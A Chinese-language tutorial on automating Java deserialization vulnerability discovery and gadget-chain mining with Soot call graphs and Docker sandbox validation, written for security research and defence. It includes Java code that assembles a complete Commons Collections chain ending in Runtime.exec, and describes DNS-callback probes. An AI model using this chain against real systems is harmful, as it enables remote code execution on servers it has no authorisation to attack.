反序列化漏洞自动化挖掘:从静态分析到Gadget链构造实战

反序列化漏洞自动化挖掘:从静态分析到Gadget链构造实战
1. 项目概述为什么自动化发现与Gadget挖掘是攻防的“圣杯”在应用安全领域反序列化漏洞的杀伤力与复杂性让它长期占据着高危漏洞榜单的前列。无论是红队进行深度渗透测试还是蓝队进行威胁建模与防御加固都绕不开这个核心议题。然而传统的漏洞挖掘方式——手动审计代码、寻找可利用的类库、人工拼接调用链——不仅效率低下而且高度依赖研究者的个人经验和灵感难以规模化。这正是“反序列化漏洞的自动化发现与Gadget挖掘”这个项目试图解决的痛点。它不是一个简单的工具而是一套系统化的方法论和工程实践旨在将原本“艺术化”的漏洞挖掘过程转变为可重复、可扩展、可度量的“工程化”流程。简单来说这个项目的目标有两个核心一是“找入口”即自动化地识别应用中所有可能接受外部序列化数据并进行反序列化的点二是“挖链子”即自动化地分析应用所依赖的庞大第三方库从中挖掘出能够串联成利用链Gadget Chain的“零件”Gadget并最终组装成可执行任意代码的“武器”。以近期备受关注的fastjson反序列化漏洞为例其本质就是攻击者通过精心构造的JSON数据触发fastjson库在反序列化过程中调用某些类的特定方法setter/getter/构造函数等进而利用Java反射、类加载等机制最终达到执行系统命令的目的。自动化挖掘就是要让机器代替人工在海量代码中快速定位到这些危险的“触发点”和“跳板”。这项工作适合谁呢首先是应用安全研究员和红队成员他们需要高效地武装自己在有限的时间内对目标进行深度评估。其次是开源组件和第三方库的维护者他们可以通过类似的自动化手段进行自检提前发现潜在风险。最后对于希望深入理解Java安全机制、数据流分析、静态程序分析SAST等技术的中高级开发者而言这也是一个绝佳的学习和实践项目。接下来我将从整体设计、核心细节、实操实现到问题排查完整拆解这套自动化体系的构建思路与落地步骤。2. 整体设计与核心思路拆解构建一套自动化发现与挖掘系统不能盲目开始编码。我们需要先厘清技术脉络明确每一步要解决什么问题以及为什么选择相应的技术方案。整个流程可以抽象为四个核心阶段目标采集、入口点发现、Gadget挖掘与链构造、漏洞验证与武器化。2.1 阶段一目标采集与依赖分析任何分析都始于目标。我们的目标通常是一个Java Web应用如WAR包、JAR包或其源代码。自动化系统的第一步是进行“物料准备”。为什么需要依赖分析因为现代Java应用严重依赖第三方库Maven/Gradle依赖。一个Spring Boot应用动辄引入上百个依赖JAR。真正的漏洞利用链Gadget Chain往往横跨应用自身代码和多个第三方库。例如经典的CommonsCollections链就利用了Apache Commons Collections库中的Transformer、InvokerTransformer等类作为跳板。因此我们必须完整提取目标应用的所有依赖构建一个完整的、待分析的代码库集合。实操要点对于已编译应用WAR/JAR使用工具如jd-gui、cfr或fernflower进行反编译但更工程化的做法是使用java -cp配合自定义类加载器或者直接解析MANIFEST.MF和pom.xml如果存在来获取依赖列表然后从Maven中央仓库下载对应的源码或字节码。一个更直接的方法是使用dependency:copy-dependenciesMaven目标将依赖全部导出到本地目录。对于源码项目直接解析pom.xml或build.gradle文件利用Maven/Gradle插件API自动下载所有依赖库的源码。这里推荐使用org.apache.maven.shared:maven-invoker或直接调用mvn dependency:sources命令。建立代码索引将收集到的所有.java源码和.class字节码统一建立索引。对于静态分析源码提供更丰富的类型信息对于动态分析字节码更直接。一个混合方案是对第三方库使用字节码分析速度快对业务代码使用源码分析精度高。可以使用ASM或Javassist框架来处理字节码使用Eclipse JDT或JavaParser来处理源码。注意依赖的版本至关重要。同一个库的不同版本类结构和方法可能差异巨大直接影响到Gadget是否存在。自动化系统必须记录每个依赖的精确版本号并在后续分析中作为上下文。2.2 阶段二反序列化入口点自动化发现找到“入口”是攻击的第一步。所谓入口点Sink就是程序中接收外部序列化数据如HTTP参数、RPC请求、文件上传、数据库字段并调用反序列化方法如ObjectInputStream.readObject()、JSON.parseObject()、XMLDecoder.readObject()的位置。自动化发现的思路基于特征码的静态扫描这是最直接的方法。在字节码或源码中搜索特定方法调用的模式。例如搜索java.io.ObjectInputStream.readObject()的调用。搜索com.alibaba.fastjson.JSON.parseObject()或JSON.parse()的调用。搜索javax.xml.bind.Unmarshaller.unmarshal()的调用。搜索org.yaml.snakeyaml.Yaml.load()的调用。 我们可以使用ASM的MethodVisitor遍历所有方法体匹配INVOKEVIRTUAL、INVOKESTATIC等指令的目标方法描述符。对于源码则可以使用抽象语法树AST进行模式匹配。数据流追踪增强单纯找到调用点还不够需要判断调用参数是否“用户可控”。这就需要引入数据流分析Data Flow Analysis。我们需要追踪外部输入Source如HttpServletRequest.getParameter()是否能够未经充分净化Sanitization就流入到反序列化方法Sink的参数中。这能帮助我们筛选出真正存在风险的入口点过滤掉内部测试代码、参数硬编码等误报。可以集成现有的数据流分析引擎如FindSecBugs的引擎或Soot、WALA等框架。黑盒模糊测试Fuzzing辅助对于无法获取源码的情况黑盒Fuzzing是有效的补充。通过代理工具如Burp Suite拦截所有请求将参数值替换为各种序列化PayloadJava序列化数据、JSON、XML等并观察应用响应如异常栈、延迟、出网连接来判断是否存在反序列化行为。这可以与静态分析结果相互验证。2.3 阶段三Gadget挖掘与利用链自动化构造这是整个项目的核心与难点。Gadget是指一个类中存在的、可能被恶意利用的方法。一条完整的利用链Gadget Chain则是将多个Gadget像多米诺骨牌一样串联起来从反序列化入口触发最终达到执行命令、写文件等危险操作的目的。自动化挖掘的核心理念图计算与约束求解我们可以将整个问题建模为一个“方法调用图”的搜索问题。构建全局方法调用图Call Graph使用静态分析工具如Soot的SPARK算法、WALA为所有分析的类构建调用图。节点是方法边表示可能的调用关系。这一步计算量巨大但对于中小型项目或核心库是可行的。定义“源点”Source和“汇点”Sink源点反序列化过程中会自动调用的方法。最常见的是readObject()、readResolve()以及某些库的特定回调方法如fastjson的setter、getter、特定类型的构造函数。汇点我们最终希望执行的危险操作称为“终极Sink”。例如Runtime.exec(String)或ProcessBuilder.start()命令执行Method.invoke(Object, Object...)反射调用任意方法FileOutputStream.write(...)文件写入ClassLoader.defineClass(...)动态类加载搜索连接路径在调用图中搜索从“源点”方法到“汇点”方法的所有可达路径。每一条路径都是一条潜在的、不完整的利用链。这本质上是一个图遍历问题如深度优先搜索DFS但由于Java的多态性虚函数调用和反射调用图本身是近似和包含误报的路径搜索会得到大量无效结果。路径可行性验证与链构造找到路径后需要验证其是否真的可在一次反序列化过程中被执行。这涉及到对象构造可行性路径上的每个方法所属的类是否可以被实例化其构造函数是否可访问public参数是否可控数据流约束方法调用所需的参数类型和值能否由前一个Gadget的输出提供例如Runtime.exec(String)需要一个String参数前一个Gadget的输出必须是String类型。动态代理与反射处理许多高级Gadget如JNDI注入利用InvocationHandler或Method.invoke。静态分析很难精确处理需要结合部分动态模拟或约定俗成的模式规则。 这个过程可以部分转化为一个“约束求解”问题但实践中更多采用“规则模板动态验证”的混合策略。2.4 阶段四漏洞验证与Payload生成自动化系统输出的不是理论路径而应该是可复现的PoC概念验证代码或序列化数据。生成Payload根据构造出的利用链自动生成对应的Java对象并调用指定的序列化器如Java原生序列化、fastjson的JSON序列化、Jackson的ObjectMapper等将其转换为字节流或字符串。这需要系统能反向操作将分析出的链实例化为对象图。安全验证在隔离环境如Docker容器、沙箱中启动一个加载了目标依赖的简易JVM将生成的Payload发送给一个模拟的入口点观察是否触发了预期的行为如创建文件、发起DNS请求、执行echo命令。务必在完全隔离的网络和环境中进行误报消除通过动态验证可以过滤掉大量静态分析产生的误报最终输出高置信度的漏洞报告。3. 核心细节解析与实操要点理解了整体框架我们深入几个关键的技术细节这些是决定自动化工具效率和效果的核心。3.1 静态分析引擎的选择与调优静态分析是基石。我们不需要从头造轮子应基于成熟框架开发。方案对比ASM/Javassist底层字节码操作框架灵活性强但需要自己实现大部分分析逻辑如调用图构建工作量大。Soot经典的Java静态分析框架提供了强大的中间表示Jimple、调用图构建算法SPARK, CHA和数据流分析框架。学习曲线陡峭但功能全面学术界和工业界都有广泛应用。它是实现Gadget挖掘的强力候选。WALA另一个强大的静态分析框架支持多种语言包括Java字节码和JavaScript分析精度高。文档相对较少社区不如Soot活跃。Eclipse JDT针对Java源码的分析适合在拥有完整源码的项目中使用。可以获取完整的AST信息进行更精确的分析。实操建议对于自动化Gadget挖掘项目Soot是一个平衡了能力和复杂度的选择。我们可以利用Soot生成调用图然后在其上进行路径搜索。关键配置与优化// 初始化Soot环境 G.reset(); Options.v().set_prepend_classpath(true); Options.v().set_soot_classpath(targetJarPath : dependencyClassPath); Options.v().set_whole_program(true); // 开启全程序分析 Options.v().setPhaseOption(cg, on); // 开启调用图构建 // 使用SPARK算法精度较高 Options.v().setPhaseOption(cg.spark, on); Options.v().setPhaseOption(cg.spark, verbose:true); // 添加待分析的主类可以是入口点所在的类 Scene.v().addBasicClass(targetClassName, SootClass.SIGNATURES); Scene.v().loadNecessaryClasses(); // 构建调用图 CallGraph cg Scene.v().getCallGraph();构建调用图后你可以遍历图中的边寻找从源点如java.io.ObjectInputStream.readObject()到汇点如java.lang.Runtime.exec()的路径。Soot提供了BriefUnitGraph控制流图和ExceptionalUnitGraph等工具来分析方法体内部逻辑。注意事项全程序分析对大型项目非常耗时且内存消耗大。实践中可以先通过简单特征扫描锁定可疑的库如已知存在历史漏洞的commons-collections,commons-beanutils等然后针对这些库进行深度分析能极大提升效率。3.2 Gadget链的建模与搜索算法如何将“寻找利用链”转化为计算机可处理的问题建模我们将每个方法视为一个节点。节点属性包括所属类、方法签名、参数类型、返回值类型、方法体内部的调用语句等。边表示调用关系。此外我们需要为节点增加“状态”源状态该方法是否在反序列化时被自动调用即是否是readObject、setter等。污点状态该方法是否能够接收或传递“可控的”数据。这需要结合简单的数据流分析标记哪些参数或字段来源于反序列化对象图。能力状态该方法执行后能获得什么“能力”例如调用TemplatesImpl.newTransformer()会获得一个Transformer对象这是一种能力调用Method.invoke()可以获得执行任意方法的能力。我们可以定义一套简单的能力类型系统。搜索算法向后搜索Backward Slicing从终极汇点如Runtime.exec()开始反向分析哪些方法可以调用它这些方法的参数从哪里来一直回溯到源点。这种方法目标明确但可能错过一些通过复杂状态传递的链。向前搜索Forward Propagation从已知的源点如HashMap.readObject()开始模拟数据流和控制流向前探索所有可达的方法看是否能到达汇点。这种方法覆盖面广但会产生更多无效路径。混合搜索Meet-over-paths结合两者。先通过轻量级的向前分析或已知模式收集一批“可能有用”的Gadget方法如所有返回Class对象、所有能调用invoke的方法。然后以这些方法为中间跳板分别向前后展开搜索。一个简化的工作流程使用Soot构建调用图CG。定义源点集合Sources和汇点集合Sinks。对每个sourceinSources在CG上执行深度优先搜索DFS寻找通往任何sinkinSinks的路径。对找到的每一条路径进行可行性过滤检查路径上每个节点的可访问性类是否可实例化方法是否可调用。检查参数传递的类型兼容性粗略的类型匹配。输出过滤后的路径作为候选链。3.3 动态模拟验证与沙箱环境静态分析找到的链十有八九是不可行的。动态验证是去伪存真的关键步骤。设计一个轻量级验证沙箱环境隔离使用Docker是最佳实践。为每个待验证的链启动一个全新的容器镜像中仅包含必要的JRE和目标依赖库。FROM openjdk:8-jre-slim COPY target-dependencies/*.jar /app/libs/ COPY validator.jar /app/ WORKDIR /app CMD [java, -cp, validator.jar:./libs/*, com.validator.Main]链执行器编写一个Java程序validator.jar它接收一个描述Gadget链的配置文件如JSON格式描述了链上每个类的实例化方式和参数传递。该程序的责任是使用反射Class.forName,Constructor.newInstance按顺序创建链上的对象。将这些对象组装成完整的对象图。使用指定的序列化器如ObjectOutputStream进行序列化。在同一个JVM内再模拟反序列化过程或直接调用入口方法触发整个链。行为监控在沙箱中我们需要监控链是否成功执行。安全的方式是监控“副作用”而非直接执行危险命令。DNS查询让链的最终效果是发起一个DNS查询到我们控制的服务器。这是探测“是否存在漏洞”最安全、最常见的方式。可以在链的末尾拼接一个URL类的初始化new URL(http://your-dns-log-server.com)其构造函数会触发DNS解析。HTTP请求类似DNS但可能被防火墙拦截。延迟判断让链执行一个Thread.sleep(5000)通过判断响应时间是否明显延长来间接验证。文件操作在沙箱的临时目录中创建或修改一个特定文件。结果反馈沙箱程序将监控结果如DNS日志收到查询、文件创建成功反馈给主控系统确认链有效。重要心得动态验证时类加载路径Classpath必须与目标环境完全一致。一个常见的坑是分析时用的是A库的v1.0版本但验证时环境里是v1.1版本某个关键类的方法签名已改变导致链子断裂。因此依赖版本管理必须一丝不苟。4. 实操过程与核心环节实现让我们以一个简化但完整的例子串联起上述理论。假设我们的目标是自动化挖掘一个基于commons-collections 3.2.1的利用链。4.1 第一步环境搭建与目标采集创建项目使用Maven初始化一个Java项目。引入分析依赖在pom.xml中添加Soot的依赖。dependency groupIdorg.soot-oss/groupId artifactIdsoot/artifactId version4.3.0/version /dependency获取目标库将commons-collections-3.2.1.jar下载到本地target-libs/目录。同时为了模拟真实环境我们还需要引入commons-beanutils等常见搭配库。编写类路径生成器一个简单的工具类递归扫描target-libs/目录生成Soot可用的classpath字符串。4.2 第二步基于Soot的入口点与Gadget扫描我们编写一个GadgetFinder类其核心任务是找到从BadAttributeValueExpException.readObject()一个已知的CC链入口到Runtime.exec()的路径。public class GadgetFinder { public static void main(String[] args) { // 1. 配置Soot String classpath target-libs/commons-collections-3.2.1.jar:target-libs/commons-beanutils-1.9.4.jar; Options.v().set_soot_classpath(classpath); Options.v().set_whole_program(true); Options.v().setPhaseOption(cg, on); Options.v().setPhaseOption(cg.spark, on); Options.v().set_allow_phantom_refs(true); // 允许幻象引用处理缺失的类 // 2. 加载关键类 Scene.v().addBasicClass(javax.management.BadAttributeValueExpException, SootClass.SIGNATURES); Scene.v().addBasicClass(org.apache.commons.collections.Transformer, SootClass.SIGNATURES); Scene.v().addBasicClass(java.lang.Runtime, SootClass.SIGNATURES); Scene.v().loadNecessaryClasses(); // 3. 获取调用图 CallGraph cg Scene.v().getCallGraph(); // 4. 定义源点和汇点方法 SootClass sourceClass Scene.v().getSootClass(javax.management.BadAttributeValueExpException); SootMethod sourceMethod sourceClass.getMethod(void readObject(java.io.ObjectInputStream)); SootClass sinkClass Scene.v().getSootClass(java.lang.Runtime); SootMethod sinkMethod sinkClass.getMethod(java.lang.Process exec(java.lang.String)); // 5. 在调用图上进行路径搜索此处为简化示例实际需实现DFS/BFS遍历 System.out.println(Searching for paths from sourceMethod to sinkMethod); // ... 实现图搜索算法遍历cg.edgesOutOf(sourceMethod) ... // 6. 打印或保存找到的路径 } }实际的路径搜索算法需要遍历CallGraph这是一个复杂的图结构。你可以将CallGraph转换为GraphSootMethod使用JGraphT等库然后使用AllDirectedPaths算法查找所有路径。但需要注意路径可能非常长且数量多需要设置深度限制和剪枝策略。4.3 第三步路径分析与链生成假设我们的搜索算法找到了一条路径BadAttributeValueExpException.readObject()-TiedMapEntry.toString()-LazyMap.get()-ChainedTransformer.transform()-ConstantTransformer.transform()-InvokerTransformer.transform()-Method.invoke()-Runtime.exec()我们需要分析这条路径的可行性类实例化检查TiedMapEntry,LazyMap,ChainedTransformer,ConstantTransformer,InvokerTransformer这些类是否都有可访问的构造函数检查发现都有public构造函数。参数传递分析InvokerTransformer.transform()需要一个Object参数前一个ConstantTransformer.transform()返回一个Runtime.class对象类型匹配。InvokerTransformer的iMethodName属性需要设置为getRuntimeiParamTypes设置为空这需要在构造时指定。Method.invoke()的第一个参数需要是Runtime实例这由前一步InvokerTransformer调用getRuntime得到。最终Runtime.exec()的参数需要是一个String命令这个命令需要由链中更早的某个Gadget提供例如另一个ConstantTransformer返回命令字符串。链组装根据分析我们可以用代码构造出这个对象图。Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) // 命令执行 }; Transformer chainedTransformer new ChainedTransformer(transformers); Map lazyMap LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry entry new TiedMapEntry(lazyMap, foo); // key不重要 BadAttributeValueExpException poc new BadAttributeValueExpException(null); // 通过反射设置val字段为entry对象 Field valField BadAttributeValueExpException.class.getDeclaredField(val); valField.setAccessible(true); valField.set(poc, entry);序列化与验证将poc对象序列化然后在沙箱中反序列化观察是否弹出计算器或触发DNS查询。4.4 第四步集成与自动化调度将以上步骤整合到一个自动化流水线中调度器主控程序协调整个流程。目标管理器负责解析输入WAR包、POM文件下载依赖构建待分析代码库。静态分析器运行GadgetFinder输出候选链的配置文件。链生成器读取配置文件利用反射动态生成PoC对象和序列化数据。沙箱执行器管理Docker容器将序列化数据发送给容器内运行的、模拟了真实入口点的测试应用并监控结果。报告生成器将验证成功的链、对应的Payload、影响的库及版本号生成详细的漏洞报告。5. 常见问题与排查技巧实录在实际构建和运行这样一个自动化系统时你会遇到无数坑。以下是我从实践中总结的一些典型问题及解决方案。5.1 静态分析路径爆炸与误报问题调用图过于庞大搜索算法耗时极长甚至内存溢出。找到的路径99%都是不可行的例如因为访问权限控制、条件分支不满足、多态性误判。解决思路聚焦核心库不要一开始就分析整个Spring Boot应用。优先分析已知的危险库commons-*,fastjson,jackson-databind,xstream,snakeyaml等。建立一份“高危组件”白名单。使用更精确的调用图算法Soot的SPARK算法比CHA更精确能减少误报但速度更慢。可以尝试PADDLE或GEOM等更先进的算法如果Soot支持。路径剪枝深度限制真实的Gadget链长度通常有限一般不超过10跳。设置搜索深度上限如15。黑名单过滤忽略路径中涉及java.lang.*核心包中无关的类如String的方法调用或者已知安全的类。启发式规则如果一条路径中出现了“写日志”、“抛出异常”等显然不会通向危险操作的方法可以提前终止该分支的搜索。并行化将针对不同源点或不同库的分析任务分发到多个线程或机器上执行。5.2 动态验证环境不一致导致链失效问题静态分析找到的链在沙箱中无法成功触发。最常见的原因是类版本、JDK版本或运行环境差异。排查清单依赖版本确认沙箱中每个JAR的版本与静态分析时完全一致。使用SHA-256校验和对比。JDK版本不同JDK版本如8u66 vs 8u292内部类实现可能有细微差别影响利用链。确保沙箱JDK版本与目标环境匹配。安全管理器SecurityManager沙箱或目标应用可能启用了SecurityManager禁止了某些反射操作或命令执行。需要在沙箱中禁用或将其纳入验证考虑即判断漏洞在默认配置下是否可利用。序列化UID如果类实现了Serializable且显式定义了serialVersionUID必须保证序列化和反序列化两端的UID一致。自动化生成对象时需要处理这个字段。调试输出在沙箱的验证程序中加入详细日志打印出链上每个对象的创建过程、反射调用的参数和结果。对比成功和失败的日志定位断裂点。5.3 如何处理复杂的Gadget如TemplatesImpl问题一些高级Gadget如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl其利用链涉及字节码加载和初始化静态分析很难准确追踪其内部调用关系defineTransletClasses,newTransformer等。解决策略模式识别将这些复杂但经典的Gadget作为“已知模式”或“模板”直接集成到系统中。当静态分析发现路径中出现了TemplatesImpl类可以直接尝试拼接已知的、围绕它的利用模式如BeanComparator配合TemplatesImpl。摘要Summary为这些复杂类的方法创建“摘要”。例如知道TemplatesImpl.newTransformer()方法内部会调用getTransletInstance()进而可能实例化恶意字节码。在静态分析时不深入分析其内部实现而是应用这条摘要规则如果newTransformer()被调用且其所属的TemplatesImpl对象的_bytecodes字段可控则视为到达了一个“类加载”类型的汇点。动态探索对于这类复杂情况可以辅以轻量级的动态Fuzzing。在沙箱中尝试用各种参数去调用TemplatesImpl的相关方法观察其行为并将成功触发的模式记录下来反哺给静态分析规则库。5.4 性能优化与工程化实践问题分析一个大型项目可能需要数小时甚至数天无法满足快速响应的需求。优化技巧缓存机制对第三方库的分析结果是相对稳定的。可以建立缓存数据库存储每个库版本的分析结果如调用图、发现的Gadget方法列表。当再次遇到相同版本的库时直接读取缓存。增量分析如果目标应用只是升级了某个库可以只分析这个新库并与旧的分析结果进行合并。分级分析一级扫描快速使用简单的特征码匹配在几分钟内找出明显的、已知模式的入口点和Gadget。这能覆盖大部分“低垂的果实”。二级分析深度对一级扫描发现的高风险模块启动完整的静态分析和链构造。资源集中在最可能出问题的地方。分布式任务队列使用像RedisCeleryPython或RabbitMQSpring Cloud TaskJava这样的队列将分析任务拆解并分发到多台Worker机器上并行执行。构建反序列化漏洞的自动化挖掘系统是一个将安全研究工程化的深刻实践。它迫使你深入理解Java虚拟机、字节码、静态分析、图论和软件工程等多个领域的知识。这个过程充满挑战但每当你看到系统自动挖出一条新颖的利用链时那种成就感是无与伦比的。这套系统不仅是攻击利器更是衡量应用组件安全性的重要标尺。对于企业安全建设而言将其集成到CI/CD流程中对第三方依赖进行自动化安全评估能够有效地将安全左移防患于未然。